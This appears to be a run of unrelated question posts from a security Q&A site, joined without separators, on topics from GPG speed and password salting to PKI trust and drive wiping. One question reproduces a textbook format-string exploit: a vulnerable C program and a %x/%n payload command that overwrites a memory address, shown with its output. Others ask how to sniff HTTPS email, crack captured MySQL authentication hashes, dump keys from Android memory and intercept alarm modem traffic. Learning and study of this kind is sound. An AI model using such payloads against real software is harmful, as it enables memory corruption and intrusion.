As part of an automated test suite I need to run a lot of gpg --encrypt and gpg --decrypt processes. In order to make each invocation of gpg --encrypt and gpg --decrypt faster, I would like to use a very fast public key algorithm. I understand that the fastest ciphers are also those providing the weakest security, especially at small key sizes. Security, however, is not important issue in this case: the passphrase-less key is even released publicly as part of the test suite. For reference, this is what my GnuPG version supports: Pubkey: RSA, ELG, DSA Cipher: 3DES, CAST5, BLOWFISH, AES, AES192, AES256, TWOFISH, CAMELLIA128, CAMELLIA192, CAMELLIA256 Hash: MD5, SHA1, RIPEMD160, SHA256, SHA384, SHA512, SHA224 Compression: Uncompressed, ZIP, ZLIB, BZIP2 To recap, what is the fastest combination of algorithm and key length available in GnuPG?
I have a new piece of malware that isn't detected by current anti-virus vendors. How do I report it to them? I want to do a good turn and help protect as many people as possible. What is the best and easiest way to get it to as many anti-virus vendors as possible, to help them detect it? Is there a list of sites where I should upload the sample, or email addresses where I should send it to? I know about Virustotal. I could submit the sample to Virustotal. Will that be sufficient? Currently few or no antivirus engines detect this malware. Will submitting the sample be enough for antivirus engines to know that it is malicious and should have been detected, and trigger them to analyze it and develop a signature/detector for it? (It's not obvious to me how anti-virus vendors would know that my sample is malicious, just because it was uploaded to Virustotal. I didn't see any user interface in Virustotal where I indicate "yes, this really is malicious, even though no one detected it", so I wonder if it will get lost in amongst all the other benign samples. I've heard of plenty cases of malware that had been uploaded to Virustotal for months or years before any antivirus engine started detecting it. So it makes me wonder whether uploading it to Virustotal is enough.) I've looked, but I haven't found an answer on this site. Here's what I found: Where to report malicious URLs, phishing, and malicious web sites? provides a list of where to report phishing web sites and other malicious web sites, but it doesn't say where to submit malware samples. Unknown malware, how to report it and whom to report it to? asks a related question in a more specific situation. One answer mentions Virustotal, but it doesn't answer my question of whether submitting to Virustotal actually works, in terms of notifying A/V vendors to trigger analysis. Another answer gives links to forms where you can upload malware samples to two anti-virus vendors, but that's just two of the dozens of vendors out there -- if I need to submit directly to A/V vendors, I am hoping for a more comprehensive list that is easy to refer to.
Let's say that our first firewall has some vulnerability and a malicious person is able to exploit it. If there's a second firewall after it, he/she should be able to stop the attack, right? Also, what will be the side-effects? I mean, would this slow the traffic or not? What are other possible effects like this one? Here is what I mean for configuration: Firewall 1 → Firewall 2 → Network Firewall 1 is different from Firewall 2
I'm trying to find a way to password protect an Excel file (.xlsm) beyond the built-in password encryption options. Ideally: Enter the password File works for a week(/other period of time) After a week, file requires password again The file is used consistently, so I don't think that encrypting a .zip or similar would solve my problem. There are VBA options to do this, but they can be easily circumvented by restricting macro security or similar.
How are top secret networks hidden? What are the techniques to make a network hidden from the public?
For same chunk of data, which one is faster? Public key encryption or digital signature? Confidentiality is not important. I am trying to achieve non-repudiation for the communication. Thanks!
I'm currently going through a course on software security. I've recently been introduced to the idea of password salting, where a random value is concatenated to a password prior to being hashed and stored. I believe I understand the operation correctly, but I don't understand how this makes the process itself any more secure. Obviously, for authentication to occur, there has to be a reference to the salt used for the specific password during creation, thus creating a matching hash. In this reference there is a direct link to both the salt and the password/hash. If a perpetrator has access to the database, thus compromising both the hashes and salts, would he not have access to the algorithm or references to the salt as well? Based on my understanding of salting, this method seems to be security by obscurity.
Always wondered about this. I had a friend tell me it's to make sure your information can't be stolen as easily on the credit card, but I will admit I am a bit skeptical of his claims. At most gas pumps (as long as you dont pay with the attendant), the gas station usually requires you to insert your card, then just as quickly, "remove the card quickly". I've always wondered what would happen if you decided to leave your card in there, and sit there. Why do the machines require you to remove the card quickly? Is this some security issue?
I've developed my own custom authorization grant. The steps I am undertaking are the following: I get the facebook authorization code from the mobile device (this is an an API for mobile devices) I exchange the auth code for a Facebook access token using curl. I save access token in the database and associate it with a user that I created using the facebook data (api('/me')) I return the access token to the mobile device Mobile device makes a POST request to my oauth endpoint providing the access token. At this stage, I take the access token from the form, validate it as a string, inspect it using the Facebook Graph API (with curl) to make sure the app id and user id match and then look it up on my database. If a row exists, I check whether the associated user's email matches the email provided in the POST data along with the token. If it matches, I return the user_id and generate my app-specific token using oauth. All of this is done in an HTTPS environnment. Is this considered to be secure? EDIT: I ended up using this package for Laravel. I still need to create a user with the facebook data on my database, but the authentication part is now handled by the package.
I'm trying to understand the validation logic that would occur in the following hypothetical scenario An unpatched XP user who trusts a list of root CAs. Those CAs in particular have been renewed (using a different public key) but have only been updated in newer versions of Windows A Windows 8.1 client who has the newer Root Certificate described above, and not the "old" certificate. Two different websites: one with a HTTPS certificate issued from the old CA, one from the renewed CA. Question How does trust flow when the XP user accesses a web certificate issued by the new CA? How does trust flow when the Win 8.1 user accesses a web certificate issued by the old CA? What if I, as an end user, no longer trust the integrity of certificates after the key was renewed. How can I, as an XP user, cause a validation exception? I'm assuming that once a CA is renewed, the former CA isn't revoked per-se, but am unsure if it will appear in the CRL as "superseded" or something along those lines. This question isn't supposed to be specific to Windows but rather a general understanding on how a PKI is supposed to work. If things work as I'm understanding, a renewed CA with a different key should be similar in some respects to a sub CA. Additional Related Scenario: Since this question is all about how the chain of trust is followed & validated, I'm curious if there is a way for a root certificate to become a subCA of a new "meta-root", (renewing a Root CA with a new Parent) and how that would work. Assuming that client software will constrain a certificate's usage to the EKU in the chain, this could be a security issue if the root CA was constrained to issue only SMIME certificates, through a defined EKU in the self-signed cert. The root CA is renewed, but is then signed by a "meta root" CA Assume that the "meta root" contains the EKU for SMIME AND server/client authentication If the above was possible, I wonder if a user who trusts the rootCA (not Meta Root) could be affected by the meta-root's issuance of HTTPS certificates; thereby allowing the inadvertent spoofing of their HTTPS connection In a sense, I'm trying to figure out if there is a need for the opposite of an "End Entity" attribute, e.g. "Root Entity" that can't be superseded, or if that is unnecessary
I've been reading "Hacking: The Art of Exploitation 2nd Ed." and I hit a part that's not explained clearly enough for me. In the section "Writing to an Arbitrary Address" Jon Erickson creates a vulnerable little c program (called fmt_vuln) that passes format-paramaters (such as %x) as the first argument to printf. Doing that will start printf reading from the top of the stack frame. He then uses this vulnerability to write to the arbitrary address 0x08049794. Below code (fmt_vuln.c) is the target program. #include <stdio.h> #include <stdlib.h> #include <string.h> int main(int argc, char *argv[]) { char text[1024]; static int test_val = -72; if(argc < 2) { printf("Usage: %s <text to print>\n", argv[0]); exit(0); } strcpy(text, argv[1]); printf("The right way to print user-controlled input:\n"); printf("%s", text); printf("\nThe wrong way to print user-controlled input:\n"); printf(text); printf("\n"); // Debug output printf("[*] test_val @ 0x%08x = %d 0x%08x\n", &test_val, test_val, test_val); exit(0); } Using this vulnerability, I'm trying to write a value "0xDDCCBBAA" to the address of test_val. The program's output shows that test_val is found at 0x08049794. The exploit looks like this: ./fmt_vuln $(printf "\x94\x97\x04\x08")%x%x%150x%n This writes the hex value 0xAA to the address 0x08049794. 4 writes to sequential addresses, starting at 0x08049794, and adding 1 byte each time should achieve this. The first time we write 0xAA, then the second time we write 0xBB to 0x08049795, the third time we write 0xCC to 0x08049796, and the last time we write 0xDD to 0x08049797. The book uses the exploit like this: reader@hacking:~/booksrc $ gdb -q --batch -ex "p 0xaa - 52 + 8" $1 = 126 reader@hacking:~/booksrc $ ./fmt_vuln $(printf "\x94\x97\x04\x08JUNK\x95\x97\x04\x08JUNK\x96\ x97\x04\x08JUNK\x97\x97\x04\x08")%x%x%126x%n%17x%n%17x%n%17x%n The right way to print user-controlled input: ??JUNK??JUNK??JUNK??%x%x%126x%n The wrong way to print user-controlled input: ??JUNK??JUNK??JUNK??bffff3c0b7fe75fc 0 [*] test_val @ 0x08049794 = 170 0xddccbbaa reader@hacking:~/booksrc $ My Question is: Why do I need the 4-bytes of junk data between the addresses? The author uses the word "JUNK" because it's an arbitrary 4-byte string, but it could be anything 4-bytes long. But he never explains why that 4-bytes of JUNK data is required. It only says "Another arguments is needed for another %x format parameter to increment the byte count to 187, which is 0xBB in decimal".
I know of at least two pages that I would have just assumed were a phishing scheme if I didn't know any better. Serverfault.com is a stack exchange site on a different domain, however if you click to sign in with stack exchange, it does not redirect you, it just prompts you for user/pass. Steam community does the same thing. Its perfectly legit, but its a different domain than the official steam page. My perspective on this is that this is bad. If I'm being prompted to enter my facebook credentials, I expect to see the facebook.com domain. Same for steam, same for stack exchange. Thats the advice I've been giving everyone for the longest time, and friends actually called me up about the steam community one, where I had to dig in order to find out if it was a legit site or not. Is this a valid practice? It stinks to high heavens imo.
I've been asked to generate a public key with PuTTY key generator. The default is 2048 bits, should I add additional bits to the generated key? Or is it unnecessary?
I'd like to wipe a stack of drives (spinning and SSD) securely. I'm familiar with the ATA Secure Erase (SE) command via hdparm, but I'm not sure if I should use the Security Erase (SE+) command instead. There is some evidence that these commands don't work on all drives. How can I ensure the drive is really wiped, including reserve areas, reallocated sectors, and the like? I'm planning to use a Linux live CD (on USB). Ubuntu provides a workable live CD with which I can install hdparm, but is there a smaller live CD distro with updated software versions I should use instead? So, in summary: What are the pros and cons of SE versus SE+? How can I ensure the drive was truly and thoroughly wiped? Which Linux distribution should I use?
Suppose I have both network based IDS and host based IDS installed in my environment, will I miss any security attacks if I don't correlate the information from these sources? If so, what are they? It seems that one of these systems should be able to catch any attack whenever they happen, but not sure if I am right about it.
I am working now on Windows 7 and I want to see if I can sniff an email content on it with Wireshark. So all right with http but with https I can't at this moment and I don't understand how. You think I need Kali Linux? Or I need something to do to realize it on Windows
From my understanding, the Java keystore contains certificate information, but this information is public (i.e. other machine certificates which you want the local machine to trust). Is there something else besides this that I am missing? What would be the risk in protecting the keystore with a weak password? Update I just realized I might have been referring to the truststore in this question. Apparently the keystore also includes private keys. If you can confirm this, then I can easily see what the issue of using a weak password to protect it would be.
When dynamic IP addresses are assigned to users, how do ISPs store the logs? Do they just store the time and address of the websites visited or do they store the whole URL like we see in our browsers? I've tried searching for this information but all that I get is "yes they store logs of everything you do". But I want to know in what manner these logs are stored: only IP of the websites or can they just click on the link and see the whole page like we do from our browsing history?
How does it work? For example, could OpenDNS be tracking everything (source ip + requested url) and then selling it to who have the necessary information to correlate the ip addresses with people profiles (i.e. BigData Companies, DataBrokers, Social Networks, etc). I'm pretty sure that ISPs could be doing that. They did with my contact information (sell without permission). Or has OpenDNS received more than 50 millions in funding only to offer this service: In October 2009, OpenDNS began offering an Enterprise service, which includes malware protection, delegated administration and block page bypass, in addition reliable DNS and Web content filtering. - See more at: http://www.crunchbase.com/organization/opendns#sthash.nIyr147U.dpuf
Recently I conducted a penetration testing where I used the following text as authorization: Penetration testing authorization During a penetration testing is possible that: The performance of servers and networks is decreased. Lost of availability of some services. Access to confidential data. Modification of web site. Physical access to private zones. Employees suffer social engineering attacks. I acknowledge these risks and authorize yzT to perform a penetration testing in my company. John Doe, CEO of Some Random Company Inc. (Signature and date) Is this right? Or should I add another information in future jobs?
So a couple years ago when I was learning basic back-end web development, I found a tutorial for creating a basic log in system. I haven't done much modification to the code since, but I have the opportunity now to use a more robust system if I need to. So here's the code I'm currently using: $pepper = "String of 24 random characters"; $salt = dechex(mt_rand(0, 2147483647)) . dechex(mt_rand(0, 2147483647)); $loopcount = 97674; for($i = 0; $i < $loopcount; $i++){ $value = hash("sha256", $value . $salt . $pepper); } return $value; Basically, a static 24-character pepper, a salt, and the password are hashed 90,000+ times. It's probably also worth mentioning that the salt is stored in the database. My biggest question is if hashing it that many times actually does anything. I also want to know if the salt and pepper are strong enough.
I have just realized, that my web application is sending unencrypted passwords from login form. It's just like that -- I've analysed, that string sent by user from login form is hashed with MD5 (which is wrong itself -- but that's a different story) on server-side and compared after that (passwords in DB are hashed). I have raised the issue in my internal issue tracker, that this should be replaced with using Javascript lib to hash password directly in login form, so it would never be sent in plaintext . I have immediately received a comment from one of our developers, that this is wrong, because it requires user to have Javascript enabled. And, that problem should be solved by using HTTPS, not by hashing passwords at client-side. I have my personal opinion about all this "it require Javascript to be enabled" crap, which is not important at this point. But, I'd like to get a clear answer, which one of us is wrong. Is it really forcing user to enable Javascript a bigger sin, than sending his/her password plain to the server? And what about situation, when my application will be run on HTTP, not HTTPS server (for many reasons)?
I see this notice in the TextSecure README: The U.S. Government Department of Commerce, Bureau of Industry and Security (BIS), has classified this software as Export Commodity Control Number (ECCN) 5D002.C.1, which includes information security software using or performing cryptographic functions with asymmetric algorithms. The form and manner of this distribution makes it eligible for export under the License Exception ENC Technology Software Unrestricted (TSU) exception (see the BIS Export Administration Regulations, Section 740.13) for both object code and source code. Why does the US Govt feel this software is "eligible for export"? Does that mean it has a circumvention available? TextSecure is just an example. More generally, on what basis do govts allow export of encryption software? If a govt allows some cryptography software to be exported, does it imply that it is not stong enough?
I want to make a secure network because of government surveillance. Is there a way I can configure or build some type of custom hardware to be able to detect and to access the network, but only using that hardware the network becomes visible. Is it possible to make the network access be controlled using custom nic for example. Is it possible to make the network behind a network to prevent traffic analysis. What security measures should be taken to secure and hide a darknet
I have written an Android game. Now, I want to connect the marks of the players. The code below is the client side program, which send their names, countries and marks to the server. Basically, I use ':' to separate the information. However, hackers can know my server ip and port by decompiling .apk file. Then, they can create a basic java application to access my server. They could send me "hacker:badserver:123456789". Finally, the top mark becomes "123456789". Is it more secure method to connect user's data? Socket client = new Socket(ip, port); OutputStream outToServer = client.getOutputStream(); DataOutputStream out = new DataOutputStream(outToServer); out.writeUTF("Hacker:HK:3910");
If I insist on digitally signing all outgoing packets from my computer, would it affect my browsing experience? I mean if a website doesn't expect me to sign my packets, and still I sign them, can I access that website? As the packet data is in plain text and only its hash is encrypted and attached with the data, I think the website should be ok with that. But I am not sure. Thanks!
I need to evaluate the security of a cryptographic library. In particular I am targeting a part of the library where I believe the private key is exposed for a limited time in the RAM. Any ideas or pointers on how to go about checking the RAM for this key. I was thinking about dumping memory after some specific user interactions. But how do I start with this, any tools recommended? I am home in the security world, I know about memory layouts, usage, countermeasures against memory attacks etc. Just not in Android. As for starter it is sufficient if the tools/techniques require custom kernel flashing or rooted devices. But in the end it should be applicable in real life situations where the target device is an out-of-the-box OEM device.
I've been given a requirement of providing a client certificate to authenticate between two application's web services. The other application (that I don't host) is requiring an SSL client certificate that is signed by a 3rd party CA (ie. Symantic, RapidSSL, etc.) and not be self-signed. After going through most of the CA's websites and Googling around, I can't seem to find a proper answer on how to get a signed client cert. Is there something I'm missing in CSR documentation that'll allow me to generate a client certificate? I've seen a few of the bigger CA's offering "managed PKI" services which are about the only mention of signed client certificates that I can find, however, those seem like they might be terribly expensive services for what I'm trying to get. Thanks in advance for the help.
I recently applied for a second credit card for my partner to use on my account and was surprised when her preset PIN number turned out to be the same as mine. Coming from a development background I assumed PINS were hashed somehow. It seems very unlikely this is a coincidence, why are credit card PINs not stored hashed rather than (hopefully) encrypted and why not generate a new one for the second card?
I am working with alarm signalling systems at the moment, and they communicate with 2400bps v22bis modems. I would like to be able to intercept the traffic on the phone line as a proof of concept. The only device/software I can find to do this is the 3am Linescope. This appears to be a phone line to audio adapter, connected to a sound card with some software. It is ~€500 so is quite costly. As far as I understand it, technically intercepting v22bis traffic is possible, it just looks like it is not a common task. Does anyone know of any cheaper or free alternatives?
I'm building a password reset system at the moment and I've come across a dilema. Currently we have a system which creates a long md5 has (16 characters) and emails a link to a customer which they then click on and can reset their password. However now we want to step away from putting links into email and make customers aware of this to counter phising attacks. My solution is to create a 5-6 digit pin number and send that in text to a customer via email. However this feels as though we are increasing security by moving away from links in email but decreasing security by making a security token easier to guess. Does anyone have any recomendations or views on this?
I'm currently conducting research regarding MySQL server remote authentication. I've captured unencrypted, uncompressed authentication packets between the client and the server where the username is in plain text but the password is hashed using two salts which are also visible in the "server greeting" packet sent to the client, right after TCP connection is established. I've ran Hash-Identifier on the password hash and it says that the hash was hashed using SHA-1 or MySQL5 algorithm, however I can't crack it using MySQL5 or even with different SHA-1 variations offered by Hashcat. The password that is hashed is "password" so it shouldn't be a problem to crack utilising basic wordlists. That leaves me with the possibility that I'm using a wrong hashing algorithm in my cracking session or more likely I'm using the salts incorrectly during the session. What am I doing wrong? Do you know what algorithm is applied for authentication between a client and MySQL server? How do I apply the salts correctly? Can you recommend a different hash cracking software that has the capability to do these? If you want, I can send you the Wireshark session with captured packets for you to have a closer look at the salt exchange, the hash itself, or even if you want a proof that this was done in a controlled virtual environment.
Is there a programmatic way to check if a given mobile application executable is malicious through some sort of lookup service? I have used Virustotal for desktop malware, does it work for mobile malware as well? Are there other standards for this sort of thing?
If the iPhone is actually off and not in sleep mode, how can it be remotely turned on if no software is running and network communications aren't even activated until the device boots?
I need to store the payment info of a transaction. We have a script that reads which transactions haven't yet been sent to our ERP (the business management software), to then send it. This script runs every several minutes. According to PCI DSS, I can store info such as credit card number, cardholder name and expiration date, but I can't store the CVV2. How should I store this info until the script sends it?